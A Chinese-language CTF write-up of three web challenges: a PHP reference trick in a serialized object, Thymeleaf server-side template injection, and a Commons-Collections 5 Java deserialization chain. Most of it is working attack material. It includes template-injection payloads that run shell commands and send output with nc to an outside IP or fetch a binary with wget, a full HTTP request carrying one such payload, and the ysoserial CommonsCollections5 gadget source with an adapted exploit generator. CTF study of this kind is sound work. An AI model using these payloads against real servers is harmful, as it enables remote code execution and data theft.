java刷题

[MidnightSun_Quals]Corporate_MFA

知识点：php代码审计+特性

PHP 的引用允许你用两个变量来指向同一个内容。意思是，当你这样做时：
<?php
$a =&$b
?>
这意味着 $a 和 $b 指向了同一个变量。

这个题上面一点是关键!

payload

class User
{
    public $username = "D0loresH4ze";
    public $password = "rasmuslerdorf";
    public $mfa;
    public $_correctValue;
}

$user = new User();
$user->mfa =& $user->_correctValue;

echo base64_encode(serialize($user));

[AeroCTF_2021]LocalizationIsHard

知识点： SSTI on Thymeleaf RCE

不知道是不是题目环境有问题还是url编码没处理好！最后没弄出来！

但是关键思路就：

发现Thymeleaf 模板引擎直接干就完了！思路很重要！他的渲染点在lang！没经验确实不行！

HackTricks还是比较不错的！就是全英的！

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#thymeleaf-java

__%24%7Bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22wget%2047.94.0.250:1337/nc%22).getInputStream()).next()%7D__%3A%3A.x

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("sh -c $@|sh . echo ls -la /| nc 47.94.0.250 1337").getInputStream()).next()}__::.x

fl3g_is_h3r3
url编码次：
__%24%7Bnew%20java.util.Scanner%28T%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22sh%20-c%20%24%40%7Csh%20.%20echo%20ls%20-la%20%2F%7C%20nc%2047.94.0.250%201337%22%29.getInputStream%28%29%29.next%28%29%7D__%3A%3A.x

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("sh -c $@|sh . echo cat /fl3g_is_h3r3| nc 47.94.0.250 1337").getInputStream()).next()}__::.x

__%24%7Bnew%20java.util.Scanner%28T%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22sh%20-c%20%24%40%7Csh%20.%20echo%20ls%20-la%20%2F%7C%20nc%2047.94.0.250%201337%22%29.getInputStream%28%29%29.next%28%29%7D__%3A%3A.x
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("sh -c $@|sh . echo cat /*| nc 47.94.0.250 1337").getInputStream()).next()}__::.x

GET /about HTTP/1.1
Host: 31d48d85-22c3-4428-a08b-099580a92edd.ctf.moonback.xyz:8001
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://31d48d85-22c3-4428-a08b-099580a92edd.ctf.moonback.xyz:8001/about
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=8bbfc4e5-137e-465a-a806-6aa3568cd946.c3jsSw9eI6UkywQY3ubEomzN9Ms; lang=__%24%7Bnew%20java.util.Scanner%28T%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22sh%20-c%20%24%40%7Csh%20.%20echo%20%63%61%74%20%2f%66%6c%33%67%5f%69%73%5f%68%33%72%33%20%7C%20nc%2047.94.0.250%201337%22%29.getInputStream%28%29%29.next%28%29%7D__%3A%3A.x
Connection: close

还有另外一种方法！

https://beerpwn.github.io/ctf/2021/aero_CTF/web/Localization_is_hard/

总之你要知道Spring View Manipulation (Java) Thymeleaf

[TrendMicro_2018]blueprint

java代码审计先看一看路由！

看到cc！感觉反序列化了！

知识点：cc5反序列化

我先来分析下代码！

Server.class

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.trendmicro;

import java.io.IOException;
import java.io.ObjectInputStream;
import javax.servlet.ServletException;
import javax.servlet.ServletInputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet({"/jail"})
public class Server extends HttpServlet {
    private static final long serialVersionUID = 1L;

    public Server() {
    }

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        try {
            ServletInputStream is = request.getInputStream();
            ObjectInputStream ois = new CustomOIS(is);
            Person person = (Person)ois.readObject();
            ois.close();
            response.getWriter().append("Sorry " + person.name + ". I cannot let you have the Flag!.");
        } catch (Exception var6) {
            response.setStatus(500);
            var6.printStackTrace(response.getWriter());
        }

    }
}

可以看到传进来一个参数！ObjectInputStream反序列传进来的值！再页面响应！

response.getWriter().append("Sorry " + person.name + ". I cannot let you have the Flag!.");

CustomOIS.class

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.trendmicro;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.Arrays;
import javax.servlet.ServletInputStream;

public class CustomOIS extends ObjectInputStream {
    private static final String[] whitelist = new String[]{"javax.management.BadAttributeValueExpException", "java.lang.Exception", "java.lang.Throwable", "[Ljava.lang.StackTraceElement;", "java.lang.StackTraceElement", "java.util.Collections$UnmodifiableList", "java.util.Collections$UnmodifiableCollection", "java.util.ArrayList", "org.apache.commons.collections.keyvalue.TiedMapEntry", "org.apache.commons.collections.map.LazyMap", "org.apache.commons.collections.functors.ChainedTransformer", "[Lorg.apache.commons.collections.Transformer;", "org.apache.commons.collections.functors.ConstantTransformer", "com.trendmicro.jail.Flag", "org.apache.commons.collections.functors.InvokerTransformer", "[Ljava.lang.Object;", "[Ljava.lang.Class;", "java.lang.String", "java.lang.Object", "java.lang.Integer", "java.lang.Number", "java.util.HashMap", "com.trendmicro.Person"};

    public CustomOIS(ServletInputStream is) throws IOException {
        super(is);
    }

    public Class<?> resolveClass(ObjectStreamClass des) throws IOException, ClassNotFoundException {
        if (!Arrays.asList(whitelist).contains(des.getName())) {
            throw new ClassNotFoundException("Cannot deserialize " + des.getName());
        } else {
            return super.resolveClass(des);
        }
    }
}

这个文件有一个白名单！只能反序列化指定的类！看注释可以明白大体意思！😁

Person.class

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.trendmicro;

import java.io.Serializable;

public class Person implements Serializable {
    public String name;

    public Person(String name) {
        this.name = name;
    }
}

这个类没啥特别的！

关键看flag!

flag.class

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.trendmicro.jail;

import java.io.Serializable;

public class Flag implements Serializable {
    static final long serialVersionUID = 6119813099625710381L;

    public Flag() {
    }

    public static void getFlag() throws Exception {
        throw new Exception(System.getenv("FLAG"));
    }
}

怎么掉用flag方法呢！怎么反序列化调用他呢？不知道！😶

思路的化就是cc链反序列化直接干他！

咱先看看这我几条链！直接人傻了！没事！😫

https://www.anquanke.com/post/id/229108#h3-16

https://www.anquanke.com/post/id/200637#h2-5

CommonsCollections5
反序列化调用链如下所示：

         BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            　　InvokerTransformer.transform()
                                    Runtime.exec()
cc5这条链相对于前四条来说外部的入口点变了，但是内部还是没变，依然是通过lazymap.get，那么后面就可以跟cc1的调用一样，直接通过1层constantTransformer和3层invokerTransformer结合来rce，那么相当于外面的衣服换了，里面的衣服没换

第5条链在他的白名单里！

现在就是构造了！

看了大佬的exp! 是仿照cc5写的！

最后啥也别改！😭😭😭

cc5

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package ysoserial.payloads;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import javax.management.BadAttributeValueExpException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

@PayloadTest(
    precondition = "isApplicableJavaVersion"
)
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({"matthias_kaiser", "jasinner"})
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
    public CommonsCollections5() {
    }

    public BadAttributeValueExpException getObject(String command) throws Exception {
        String[] execArgs = new String[]{command};
        Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
        Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, execArgs), new ConstantTransformer(1)};
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
        BadAttributeValueExpException val = new BadAttributeValueExpException((Object)null);
        Field valfield = val.getClass().getDeclaredField("val");
        Reflections.setAccessible(valfield);
        valfield.set(val, entry);
        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
        return val;
    }

    public static void main(String[] args) throws Exception {
        PayloadRunner.run(CommonsCollections5.class, args);
    }

    public static boolean isApplicableJavaVersion() {
        return JavaVersion.isBadAttrValExcReadObj();
    }
}

大佬exp

package com.trendmicro;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import javax.management.BadAttributeValueExpException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
//import org.apache.commons.collections.
import ysoserial.payloads.util.Reflections;

public class PayloadObjectGen {
    public static void main(String args[]) throws Exception {
        String path = "Payload.ser";
        FileOutputStream fout = new FileOutputStream(path);
        ObjectOutputStream oos = new ObjectOutputStream(fout);
        oos.writeObject(getObject());
        oos.close();
        FileInputStream fis = new FileInputStream(path);
        ObjectInputStream ois = new ObjectInputStream(fis);
        String nameFromDisk = (String) ois.readObject();
        System.out.println(nameFromDisk);
        ois.close();
    }
    public static BadAttributeValueExpException getObject() throws Exception {
         Transformer transformerChain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(1) });
         Transformer[] transformers = new Transformer[] { new ConstantTransformer(Flag.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                        new Object[] { "getFlag", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                        new Object[] { null, new Object[0] }),
                new ConstantTransformer(1) };
        final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, entry);
        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
        return val;
    }
}

大佬wp

https://graneed.hatenablog.com/entry/2018/09/16/132350#war%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%81%AE%E8%AA%BF%E6%9F%BB

问题：

java和javac版本不一样怎么办 最简单就装一个

知识点：

https://xz.aliyun.com/t/7031

https://www.anquanke.com/post/id/200637#h2-5

https://www.anquanke.com/post/id/229108#h3-3

https://graneed.hatenablog.com/entry/2018/09/16/132350#war%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%81%AE%E8%AA%BF%E6%9F%BB

https://xz.aliyun.com/t/7713#toc-7